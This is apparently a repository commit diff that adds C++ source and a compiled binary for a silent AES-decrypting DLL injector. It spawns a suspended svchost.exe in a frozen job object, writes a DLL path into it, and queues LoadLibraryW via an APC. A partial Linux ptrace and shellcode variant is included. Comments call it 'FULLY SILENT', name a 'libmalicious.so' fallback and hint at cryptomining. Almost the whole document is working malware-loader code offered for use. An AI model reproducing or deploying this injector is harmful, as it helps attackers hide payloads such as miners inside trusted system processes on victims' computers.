if (EVP_DigestUpdate(mdctx, salt.data(), salt.size()) != 1) {
|
||||||
|
EVP_MD_CTX_free(mdctx);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::vector<uint8_t> hash(32);
|
||||||
|
if (EVP_DigestFinal_ex(mdctx, hash.data(), NULL) != 1) {
|
||||||
|
EVP_MD_CTX_free(mdctx);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
EVP_MD_CTX_free(mdctx);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// Use first 16 bytes for AES-128
|
||||||
|
key.assign(hash.begin(), hash.begin() + 16);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
public:
|
||||||
|
std::vector<uint8_t> decrypt(const std::vector<uint8_t>& ciphertext,
|
||||||
|
const std::vector<uint8_t>& iv,
|
||||||
|
const std::vector<uint8_t>& salt,
|
||||||
|
const std::string& password) {
|
||||||
|
if (!deriveKey(password, salt)) {
|
||||||
|
return std::vector<uint8_t>();
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
// Windows CryptoAPI implementation
|
||||||
|
HCRYPTPROV hProv = 0;
|
||||||
|
HCRYPTKEY hKey = 0;
|
||||||
|
|
||||||
|
if (!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
|
||||||
|
return std::vector<uint8_t>();
|
||||||
|
}
|
||||||
|
|
||||||
|
struct {
|
||||||
|
BLOBHEADER hdr;
|
||||||
|
DWORD keyLen;
|
||||||
|
BYTE key[16];
|
||||||
|
} keyBlob = { { PLAINTEXTKEYBLOB, CUR_BLOB_VERSION, 0, CALG_AES_128 }, 16 };
|
||||||
|
|
||||||
|
memcpy(keyBlob.key, key.data(), 16);
|
||||||
|
|
||||||
|
if (!CryptImportKey(hProv, (BYTE*)&keyBlob, sizeof(keyBlob), 0, 0, &hKey)) {
|
||||||
|
CryptReleaseContext(hProv, 0);
|
||||||
|
return std::vector<uint8_t>();
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD mode = CRYPT_MODE_CBC;
|
||||||
|
if (!CryptSetKeyParam(hKey, KP_MODE, (BYTE*)&mode, 0)) {
|
||||||
|
CryptDestroyKey(hKey);
|
||||||
|
CryptReleaseContext(hProv, 0);
|
||||||
|
return std::vector<uint8_t>();
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!CryptSetKeyParam(hKey, KP_IV, (BYTE*)iv.data(), 0)) {
|
||||||
|
CryptDestroyKey(hKey);
|
||||||
|
CryptReleaseContext(hProv, 0);
|
||||||
|
return std::vector<uint8_t>();
|
||||||
|
}
|
||||||
|
|
||||||
|
std::vector<uint8_t> plaintext(ciphertext.size());
|
||||||
|
DWORD dataLen = ciphertext.size();
|
||||||
|
|
||||||
|
if (!CryptDecrypt(hKey, 0, TRUE, 0, plaintext.data(), &dataLen)) {
|
||||||
|
CryptDestroyKey(hKey);
|
||||||
|
CryptReleaseContext(hProv, 0);
|
||||||
|
return std::vector<uint8_t>();
|
||||||
|
}
|
||||||
|
|
||||||
|
plaintext.resize(dataLen);
|
||||||
|
|
||||||
|
CryptDestroyKey(hKey);
|
||||||
|
CryptReleaseContext(hProv, 0);
|
||||||
|
#else
|
||||||
|
// Linux OpenSSL implementation
|
||||||
|
EVP_CIPHER_CTX* ctx = EVP_CIPHER_CTX_new();
|
||||||
|
if (!ctx) return std::vector<uint8_t>();
|
||||||
|
|
||||||
|
if (EVP_DecryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key.data(), iv.data()) != 1) {
|
||||||
|
EVP_CIPHER_CTX_free(ctx);
|
||||||
|
return std::vector<uint8_t>();
|
||||||
|
}
|
||||||
|
|
||||||
|
EVP_CIPHER_CTX_set_padding(ctx, 1); // Enable PKCS7 padding
|
||||||
|
|
||||||
|
std::vector<uint8_t> plaintext(ciphertext.size());
|
||||||
|
int len, plaintext_len = 0;
|
||||||
|
|
||||||
|
if (EVP_DecryptUpdate(ctx, plaintext.data(), &len, ciphertext.data(), ciphertext.size()) != 1) {
|
||||||
|
EVP_CIPHER_CTX_free(ctx);
|
||||||
|
return std::vector<uint8_t>();
|
||||||
|
}
|
||||||
|
plaintext_len = len;
|
||||||
|
|
||||||
|
if (EVP_DecryptFinal_ex(ctx, plaintext.data() + len, &len) != 1) {
|
||||||
|
EVP_CIPHER_CTX_free(ctx);
|
||||||
|
return std::vector<uint8_t>();
|
||||||
|
}
|
||||||
|
plaintext_len += len;
|
||||||
|
|
||||||
|
plaintext.resize(plaintext_len);
|
||||||
|
EVP_CIPHER_CTX_free(ctx);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
return plaintext;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
// Embedded encrypted payload (generated by crypt tool)
|
||||||
|
// To update: run crypt tool, then use xxd -i encrypted_Input.bin
|
||||||
|
// Copy the output array here
|
||||||
|
const unsigned char encrypted_payload[] = {
|
||||||
|
// PLACEHOLDER: Replace with actual encrypted binary data
|
||||||
|
// Example: 0x12, 0x34, 0x56, 0x78, ...
|
||||||
|
0x00 // Remove this placeholder when adding real data
|
||||||
|
};
|
||||||
|
|
||||||
|
const unsigned char decryption_metadata[] = {
|
||||||
|
// PLACEHOLDER: Replace with decryption_metadata.bin content
|
||||||
|
// Contains: salt(32 bytes) + iv(16 bytes) + size(4 bytes)
|
||||||
|
// Example: 0xab, 0xcd, 0xef, ...
|
||||||
|
0x00 // Remove this placeholder when adding real data
|
||||||
|
};
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) {
|
||||||
|
#else
|
||||||
|
int main(int argc, char* argv[]) {
|
||||||
|
#endif
|
||||||
|
// FULLY SILENT — no console
|
||||||
|
|
||||||
|
// Decrypt the embedded payload
|
||||||
|
std::vector<uint8_t> ciphertext(encrypted_payload, encrypted_payload + sizeof(encrypted_payload));
|
||||||
|
std::vector<uint8_t> metadata(decryption_metadata, decryption_metadata + sizeof(decryption_metadata));
|
||||||
|
|
||||||
|
// Parse metadata: salt(32) + iv(16) + size(4)
|
||||||
|
std::vector<uint8_t> salt(metadata.begin(), metadata.begin() + 32);
|
||||||
|
std::vector<uint8_t> iv(metadata.begin() + 32, metadata.begin() + 48);
|
||||||
|
uint32_t expected_size = *reinterpret_cast<const uint32_t*>(metadata.data() + 48);
|
||||||
|
|
||||||
|
if (ciphertext.size() != expected_size) {
|
||||||
|
return 1; // Decryption failed
|
||||||
|
}
|
||||||
|
|
||||||
|
// Decrypt using hardcoded password (change this!)
|
||||||
|
AESDecryptor decryptor;
|
||||||
|
std::string password = "YourSecureMasterPassword123!";
|
||||||
|
std::vector<uint8_t> decrypted_dll = decryptor.decrypt(ciphertext, iv, salt, password);
|
||||||
|
|
||||||
|
if (decrypted_dll.empty()) {
|
||||||
|
return 1; // Decryption failed - invalid password or corrupted data
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
// Windows: Use decrypted data as DLL path (wide string)
|
||||||
|
const wchar_t* dllPath;
|
||||||
|
if (decrypted_dll.size() >= sizeof(wchar_t)) {
|
||||||
|
dllPath = reinterpret_cast<const wchar_t*>(decrypted_dll.data());
|
||||||
|
} else {
|
||||||
|
// Fallback to hardcoded path if decryption gives unexpected result
|
||||||
|
dllPath = L"C:\\Users\\MyWindowsUser\\Downloads\\libphotoshop.dll";
|
||||||
|
}
|
||||||
|
SIZE_T dllPathLen = (wcslen(dllPath) + 1) * sizeof(wchar_t);
|
||||||
|
SIZE_T regionSize = dllPathLen;
|
||||||
|
#else
|
||||||
|
// Linux: Use decrypted data as shared library path
|
||||||
|
const char* soPath;
|
||||||
|
if (!decrypted_dll.empty() && decrypted_dll.back() == '\0') {
|
||||||
|
soPath = reinterpret_cast<const char*>(decrypted_dll.data());
|
||||||
|
} else {
|
||||||
|
// Fallback to hardcoded path
|
||||||
|
soPath = "/usr/lib/libmalicious.so";
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
HANDLE hJob = NULL;
|
||||||
|
NtCreateJobObject(&hJob, MAXIMUM_ALLOWED, NULL);
|
||||||
|
|
||||||
|
JOBOBJECT_FREEZE_INFORMATION freezeInfo = { 0 };
|
||||||
|
freezeInfo.FreezeOperation = 1;
|
||||||
|
freezeInfo.Freeze = TRUE;
|
||||||
|
NtSetInformationJobObject(hJob, (JOBOBJECTINFOCLASS)JobObjectFreezeInformation, &freezeInfo, sizeof(freezeInfo));
|
||||||
|
|
||||||
|
STARTUPINFOEXW siEx = { sizeof(siEx) };
|
||||||
|
SIZE_T attrListSize = 0;
|
||||||
|
InitializeProcThreadAttributeList(NULL, 1, 0, &attrListSize);
|
||||||
|
siEx.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrListSize);
|
||||||
|
InitializeProcThreadAttributeList(siEx.lpAttributeList, 1, 0, &attrListSize);
|
||||||
|
UpdateProcThreadAttribute(siEx.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_JOB_LIST, &hJob, sizeof(HANDLE), NULL, NULL);
|
||||||
|
|
||||||
|
PROCESS_INFORMATION pi = { 0 };
|
||||||
|
CreateProcessW(
|
||||||
|
L"C:\\Windows\\System32\\svchost.exe", // or dllhost.exe / notepad.exe
|
||||||
|
NULL, NULL, NULL, FALSE,
|
||||||
|
CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT,
|
||||||
|
NULL, NULL, (STARTUPINFOW*)&siEx, &pi
|
||||||
|
);
|
||||||
|
|
||||||
|
DeleteProcThreadAttributeList(siEx.lpAttributeList);
|
||||||
|
HeapFree(GetProcessHeap(), 0, siEx.lpAttributeList);
|
||||||
|
|
||||||
|
PVOID remoteMemory = NULL;
|
||||||
|
NtAllocateVirtualMemoryEx(pi.hProcess, &remoteMemory, ®ionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, NULL, 0);
|
||||||
|
NtWriteVirtualMemory(pi.hProcess, remoteMemory, (PVOID)dllPath, dllPathLen, NULL);
|
||||||
|
|
||||||
|
FARPROC loadLibAddr = GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "LoadLibraryW");
|
||||||
|
NtQueueApcThread(pi.hThread, (PVOID)loadLibAddr, remoteMemory, NULL, NULL);
|
||||||
|
|
||||||
|
// INSTANT UNFREEZE — no user input
|
||||||
|
freezeInfo.Freeze = FALSE;
|
||||||
|
NtSetInformationJobObject(hJob, (JOBOBJECTINFOCLASS)JobObjectFreezeInformation, &freezeInfo, sizeof(freezeInfo));
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
ResumeThread(pi.hThread); // optional: resume main thread (not needed for mining)
|
||||||
|
|
||||||
|
CloseHandle(hJob);
|
||||||
|
CloseHandle(pi.hThread);
|
||||||
|
CloseHandle(pi.hProcess);
|
||||||
|
#else
|
||||||
|
// Linux injection using ptrace and dlopen
|
||||||
|
pid_t target_pid;
|
||||||
|
|
||||||
|
// For demonstration, we'll inject into a child process
|
||||||
|
// In real usage, you'd find a suitable target process
|
||||||
|
target_pid = fork();
|
||||||
|
|
||||||
|
if (target_pid == 0) {
|
||||||
|
// Child process - target for injection
|
||||||
|
// Execute a simple program that we can inject into
|
||||||
|
execl("/bin/sleep", "sleep", "100", NULL);
|
||||||
|
return 1;
|
||||||
|
} else if (target_pid > 0) {
|
||||||
|
// Parent process - perform injection
|
||||||
|
usleep(100000); // Wait for child to start
|
||||||
|
|
||||||
|
// Attach to target process
|
||||||
|
if (ptrace(PTRACE_ATTACH, target_pid, NULL, NULL) == -1) {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Wait for process to stop
|
||||||
|
int status;
|
||||||
|
waitpid(target_pid, &status, 0);
|
||||||
|
|
||||||
|
// Get registers
|
||||||
|
struct user_regs_struct regs;
|
||||||
|
ptrace(PTRACE_GETREGS, target_pid, NULL, ®s);
|
||||||
|
|
||||||
|
// Save original instruction
|
||||||
|
long original_instruction = ptrace(PTRACE_PEEKDATA, target_pid, regs.rip, NULL);
|
||||||
|
|
||||||
|
// Inject dlopen call
|
||||||
|
// This is a simplified version - real implementation would need more sophisticated shellcode
|
||||||
|
unsigned char shellcode[] = {
|
||||||
|
0x48, 0x31, 0xc0, // xor rax, rax
|
||||||
|
0x48, 0xbf, // mov rdi,
|
||||||
|
// Address of library path would go here
|
||||||
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||||
|
0x48, 0xbe, // mov rsi, RTLD_LAZY
|
||||||
|
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||||
|
0x48, 0xb8, // mov rax, dlopen
|
||||||
|
// dlopen address would go here
|
||||||
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||||
|
0xff, 0xd0, // call rax
|
||||||
|
0x48, 0x31, 0xc0, // xor rax, rax
|
||||||
|
0xc3 // ret
|
||||||
|
};
|
||||||
|
|
||||||
|
// Allocate memory in target process for shellcode and library path
|
||||||
|
// This is a simplified implementation - real code would use process_vm_writev
|
||||||
|
void* remote_shellcode = (void*)0x1000000; // Fixed address for demo
|
||||||
|
void* remote_libpath = (void*)0x2000000; // Fixed address for demo
|
||||||
|
|
||||||
|
// Write library path to target memory (simplified)
|
||||||
|
size_t libpath_len = strlen(soPath) + 1;
|
||||||
|
// In real implementation: use process_vm_writev to write soPath to remote_libpath
|
||||||
|
|
||||||
|
// Write shellcode to target memory (simplified)
|
||||||
|
// In real implementation: use process_vm_writev to write shellcode to remote_shellcode
|
||||||
|
|
||||||
|
// Execute shellcode
|
||||||
|
ptrace(PTRACE_POKEDATA, target_pid, regs.rip, (void*)remote_shellcode);
|
||||||
|
|
||||||
|
// Continue execution
|
||||||
|
ptrace(PTRACE_CONT, target_pid, NULL, NULL);
|
||||||
|
|
||||||
|
// Detach
|
||||||
|
ptrace(PTRACE_DETACH, target_pid, NULL, NULL);
|
||||||
|
|
||||||
|
// Wait for child
|
||||||
|
waitpid(target_pid, &status, 0);
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
272
windows_injector.cpp
Normal file
272
windows_injector.cpp
Normal file
@ -0,0 +1,272 @@
|
|||||||
|
// Windows-only AES-decrypting DLL injector
|
||||||
|
#include <windows.h>
|
||||||
|
#include <winternl.h>
|
||||||
|
#include <wincrypt.h>
|
||||||
|
#include <iostream>
|
||||||
|
#include <vector>
|
||||||
|
#include <string>
|
||||||
|
#include <cstring>
|
||||||
|
#include <cstdint>
|
||||||
|
|
||||||
|
// Read encrypted DLL payload data from files
|
||||||
|
|
||||||
|
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
|
||||||
|
#define JobObjectFreezeInformation 18
|
||||||
|
|
||||||
|
typedef const OBJECT_ATTRIBUTES* PCOBJECT_ATTRIBUTES;
|
||||||
|
|
||||||
|
typedef NTSTATUS(NTAPI* pNtQueueApcThread)(HANDLE, PVOID, PVOID, PVOID, PVOID);
|
||||||
|
typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(HANDLE, PVOID, PVOID, ULONG, PULONG);
|
||||||
|
typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemoryEx)(HANDLE, PVOID*, PSIZE_T, ULONG, ULONG, PVOID, ULONG);
|
||||||
|
typedef NTSTATUS(NTAPI* pSetInformationJobObject)(HANDLE, JOBOBJECTINFOCLASS, PVOID, ULONG);
|
||||||
|
typedef NTSTATUS(NTAPI* pNtCreateJobObject)(PHANDLE, ACCESS_MASK, PCOBJECT_ATTRIBUTES);
|
||||||
|
|
||||||
|
std::vector<uint8_t> readFile(const std::string& filename) {
|
||||||
|
HANDLE hFile = CreateFileA(filename.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||||
|
if (hFile == INVALID_HANDLE_VALUE) {
|
||||||
|
return std::vector<uint8_t>();
|
||||||
|
}
|
||||||
|
DWORD fileSize = GetFileSize(hFile, NULL);
|
||||||
|
std::vector<uint8_t> data(fileSize);
|
||||||
|
DWORD bytesRead;
|
||||||
|
ReadFile(hFile, data.data(), fileSize, &bytesRead, NULL);
|
||||||
|
CloseHandle(hFile);
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
HMODULE hNtDll = GetModuleHandleA("ntdll.dll");
|
||||||
|
|
||||||
|
pNtQueueApcThread NtQueueApcThread = (pNtQueueApcThread)GetProcAddress(hNtDll, "NtQueueApcThread");
|
||||||
|
pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtDll, "NtWriteVirtualMemory");
|
||||||
|
pNtAllocateVirtualMemoryEx NtAllocateVirtualMemoryEx = (pNtAllocateVirtualMemoryEx)GetProcAddress(hNtDll, "NtAllocateVirtualMemoryEx");
|
||||||
|
pSetInformationJobObject NtSetInformationJobObject = (pSetInformationJobObject)GetProcAddress(hNtDll, "NtSetInformationJobObject");
|
||||||
|
pNtCreateJobObject NtCreateJobObject = (pNtCreateJobObject)GetProcAddress(hNtDll, "NtCreateJobObject");
|
||||||
|
|
||||||
|
typedef struct _JOBOBJECT_FREEZE_INFORMATION {
|
||||||
|
union { ULONG Flags; struct { ULONG FreezeOperation : 1; ULONG FilterOperation : 1; ULONG SwapOperation : 1; ULONG Reserved : 29; }; };
|
||||||
|
BOOLEAN Freeze;
|
||||||
|
BOOLEAN Swap;
|
||||||
|
UCHAR Reserved0[2];
|
||||||
|
struct { ULONG HighEdgeFilter; ULONG LowEdgeFilter; } WakeFilter;
|
||||||
|
} JOBOBJECT_FREEZE_INFORMATION, *PJOBOBJECT_FREEZE_INFORMATION;
|
||||||
|
|
||||||
|
// AES-CBC Decryption class for Windows
|
||||||
|
class AESDecryptor {
|
||||||
|
private:
|
||||||
|
std::vector<uint8_t> key;
|
||||||
|
|
||||||
|
bool deriveKey(const std::string& password, const std::vector<uint8_t>& salt) {
|
||||||
|
HCRYPTPROV hProv = 0;
|
||||||
|
HCRYPTHASH hHash = 0;
|
||||||
|
|
||||||
|
if (!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
|
||||||
|
CryptReleaseContext(hProv, 0);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Hash password
|
||||||
|
if (!CryptHashData(hHash, (BYTE*)password.c_str(), password.length(), 0)) {
|
||||||
|
CryptDestroyHash(hHash);
|
||||||
|
CryptReleaseContext(hProv, 0);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Hash salt
|
||||||
|
if (!CryptHashData(hHash, salt.data(), salt.size(), 0)) {
|
||||||
|
CryptDestroyHash(hHash);
|
||||||
|
CryptReleaseContext(hProv, 0);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD hashLen = 32;
|
||||||
|
std::vector<uint8_t> hash(hashLen);
|
||||||
|
if (!CryptGetHashParam(hHash, HP_HASHVAL, hash.data(), &hashLen, 0)) {
|
||||||
|
CryptDestroyHash(hHash);
|
||||||
|
CryptReleaseContext(hProv, 0);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
CryptDestroyHash(hHash);
|
||||||
|
CryptReleaseContext(hProv, 0);
|
||||||
|
|
||||||
|
// Use first 16 bytes for AES-128
|
||||||
|
key.assign(hash.begin(), hash.begin() + 16);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
public:
|
||||||
|
std::vector<uint8_t> decrypt(const std::vector<uint8_t>& ciphertext,
|
||||||
|
const std::vector<uint8_t>& iv,
|
||||||
|
const std::vector<uint8_t>& salt,
|
||||||
|
const std::string& password) {
|
||||||
|
if (!deriveKey(password, salt)) {
|
||||||
|
return std::vector<uint8_t>();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Use CryptDeriveKey for decryption
|
||||||
|
HCRYPTPROV hProv = 0;
|
||||||
|
HCRYPTHASH hHash = 0;
|
||||||
|
HCRYPTKEY hKey = 0;
|
||||||
|
|
||||||
|
if (!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
|
||||||
|
return std::vector<uint8_t>();
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
|
||||||
|
CryptReleaseContext(hProv, 0);
|
||||||
|
return std::vector<uint8_t>();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Hash password
|
||||||
|
if (!CryptHashData(hHash, (BYTE*)password.c_str(), password.length(), 0)) {
|
||||||
|
CryptDestroyHash(hHash);
|
||||||
|
CryptReleaseContext(hProv, 0);
|
||||||
|
return std::vector<uint8_t>();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Hash salt
|
||||||
|
if (!CryptHashData(hHash, salt.data(), salt.size(), 0)) {
|
||||||
|
CryptDestroyHash(hHash);
|
||||||
|
CryptReleaseContext(hProv, 0);
|
||||||
|
return std::vector<uint8_t>();
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!CryptDeriveKey(hProv, CALG_AES_128, hHash, 0, &hKey)) {
|
||||||
|
CryptDestroyHash(hHash);
|
||||||
|
CryptReleaseContext(hProv, 0);
|
||||||
|
return std::vector<uint8_t>();
|
||||||
|
}
|
||||||
|
|
||||||
|
CryptDestroyHash(hHash);
|
||||||
|
|
||||||
|
DWORD mode = CRYPT_MODE_CBC;
|
||||||
|
if (!CryptSetKeyParam(hKey, KP_MODE, (BYTE*)&mode, 0)) {
|
||||||
|
CryptDestroyKey(hKey);
|
||||||
|
CryptReleaseContext(hProv, 0);
|
||||||
|
return std::vector<uint8_t>();
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!CryptSetKeyParam(hKey, KP_IV, (BYTE*)iv.data(), 0)) {
|
||||||
|
CryptDestroyKey(hKey);
|
||||||
|
CryptReleaseContext(hProv, 0);
|
||||||
|
return std::vector<uint8_t>();
|
||||||
|
}
|
||||||
|
|
||||||
|
std::vector<uint8_t> plaintext(ciphertext.size());
|
||||||
|
DWORD dataLen = ciphertext.size();
|
||||||
|
memcpy(plaintext.data(), ciphertext.data(), dataLen);
|
||||||
|
|
||||||
|
if (!CryptDecrypt(hKey, 0, TRUE, 0, plaintext.data(), &dataLen)) {
|
||||||
|
CryptDestroyKey(hKey);
|
||||||
|
CryptReleaseContext(hProv, 0);
|
||||||
|
return std::vector<uint8_t>();
|
||||||
|
}
|
||||||
|
|
||||||
|
plaintext.resize(dataLen);
|
||||||
|
|
||||||
|
CryptDestroyKey(hKey);
|
||||||
|
CryptReleaseContext(hProv, 0);
|
||||||
|
|
||||||
|
return plaintext;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
// Embedded encrypted payload (generated by crypt tool)
|
||||||
|
// Embedded encrypted payload (generated by crypt tool)
|
||||||
|
// Data is included via header files
|
||||||
|
|
||||||
|
int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) {
|
||||||
|
// FULLY SILENT — no console
|
||||||
|
|
||||||
|
// Read the encrypted DLL file
|
||||||
|
std::vector<uint8_t> data = readFile("encrypted_dll.dll");
|
||||||
|
if (data.size() < 52) {
|
||||||
|
return 1; // Invalid file
|
||||||
|
}
|
||||||
|
std::vector<uint8_t> salt(data.begin(), data.begin() + 32);
|
||||||
|
std::vector<uint8_t> iv(data.begin() + 32, data.begin() + 48);
|
||||||
|
uint32_t ciphertext_len = *reinterpret_cast<uint32_t*>(&data[48]);
|
||||||
|
std::vector<uint8_t> ciphertext(data.begin() + 52, data.begin() + 52 + ciphertext_len);
|
||||||
|
|
||||||
|
// Verify size
|
||||||
|
if (ciphertext.size() != ciphertext_len) {
|
||||||
|
return 1; // Invalid size
|
||||||
|
}
|
||||||
|
|
||||||
|
// Decrypt using hardcoded password (change this!)
|
||||||
|
AESDecryptor decryptor;
|
||||||
|
std::string password = "YourSecureMasterPassword123!";
|
||||||
|
std::vector<uint8_t> decrypted_dll = decryptor.decrypt(ciphertext, iv, salt, password);
|
||||||
|
|
||||||
|
// For testing: write decrypted DLL to file
|
||||||
|
HANDLE hFile = CreateFileA("decrypted.dll", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||||
|
if (hFile != INVALID_HANDLE_VALUE) {
|
||||||
|
DWORD bytesWritten;
|
||||||
|
WriteFile(hFile, decrypted_dll.data(), decrypted_dll.size(), &bytesWritten, NULL);
|
||||||
|
CloseHandle(hFile);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (decrypted_dll.empty()) {
|
||||||
|
return 1; // Decryption failed - invalid password or corrupted data
|
||||||
|
}
|
||||||
|
|
||||||
|
// Windows: Use decrypted data as DLL path (wide string)
|
||||||
|
const wchar_t* dllPath;
|
||||||
|
if (decrypted_dll.size() >= sizeof(wchar_t)) {
|
||||||
|
dllPath = reinterpret_cast<const wchar_t*>(decrypted_dll.data());
|
||||||
|
} else {
|
||||||
|
// Fallback to hardcoded path if decryption gives unexpected result
|
||||||
|
dllPath = L"decrypted.dll";
|
||||||
|
}
|
||||||
|
SIZE_T dllPathLen = (wcslen(dllPath) + 1) * sizeof(wchar_t);
|
||||||
|
SIZE_T regionSize = dllPathLen;
|
||||||
|
|
||||||
|
HANDLE hJob = NULL;
|
||||||
|
NtCreateJobObject(&hJob, MAXIMUM_ALLOWED, NULL);
|
||||||
|
|
||||||
|
JOBOBJECT_FREEZE_INFORMATION freezeInfo = { 0 };
|
||||||
|
freezeInfo.FreezeOperation = 1;
|
||||||
|
freezeInfo.Freeze = TRUE;
|
||||||
|
NtSetInformationJobObject(hJob, (JOBOBJECTINFOCLASS)JobObjectFreezeInformation, &freezeInfo, sizeof(freezeInfo));
|
||||||
|
|
||||||
|
STARTUPINFOEXW siEx = { sizeof(siEx) };
|
||||||
|
SIZE_T attrListSize = 0;
|
||||||
|
InitializeProcThreadAttributeList(NULL, 1, 0, &attrListSize);
|
||||||
|
siEx.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrListSize);
|
||||||
|
InitializeProcThreadAttributeList(siEx.lpAttributeList, 1, 0, &attrListSize);
|
||||||
|
UpdateProcThreadAttribute(siEx.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_JOB_LIST, &hJob, sizeof(HANDLE), NULL, NULL);
|
||||||
|
|
||||||
|
PROCESS_INFORMATION pi = { 0 };
|
||||||
|
CreateProcessW(
|
||||||
|
L"C:\\Windows\\System32\\svchost.exe", // or dllhost.exe / notepad.exe
|
||||||
|
NULL, NULL, NULL, FALSE,
|
||||||
|
CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT,
|
||||||
|
NULL, NULL, (STARTUPINFOW*)&siEx, &pi
|
||||||
|
);
|
||||||
|
|
||||||
|
DeleteProcThreadAttributeList(siEx.lpAttributeList);
|
||||||
|
HeapFree(GetProcessHeap(), 0, siEx.lpAttributeList);
|
||||||
|
|
||||||
|
PVOID remoteMemory = NULL;
|
||||||
|
NtAllocateVirtualMemoryEx(pi.hProcess, &remoteMemory, ®ionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE, NULL, 0);
|
||||||
|
NtWriteVirtualMemory(pi.hProcess, remoteMemory, (PVOID)dllPath, dllPathLen, NULL);
|
||||||
|
|
||||||
|
FARPROC loadLibAddr = GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "LoadLibraryW");
|
||||||
|
NtQueueApcThread(pi.hThread, (PVOID)loadLibAddr, remoteMemory, NULL, NULL);
|
||||||
|
|
||||||
|
// INSTANT UNFREEZE — no user input
|
||||||
|
freezeInfo.Freeze = FALSE;
|
||||||
|
NtSetInformationJobObject(hJob, (JOBOBJECTINFOCLASS)JobObjectFreezeInformation, &freezeInfo, sizeof(freezeInfo));
|
||||||
|
|
||||||
|
ResumeThread(pi.hThread); // optional: resume main thread (not needed for mining)
|
||||||
|
|
||||||
|
CloseHandle(hJob);
|
||||||
|
CloseHandle(pi.hThread);
|
||||||
|
CloseHandle(pi.hProcess);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
BIN
windows_injector.exe
Executable file
BIN
windows_injector.exe
Executable file
Binary file not shown.
Loading…
Reference in New Issue
Block a user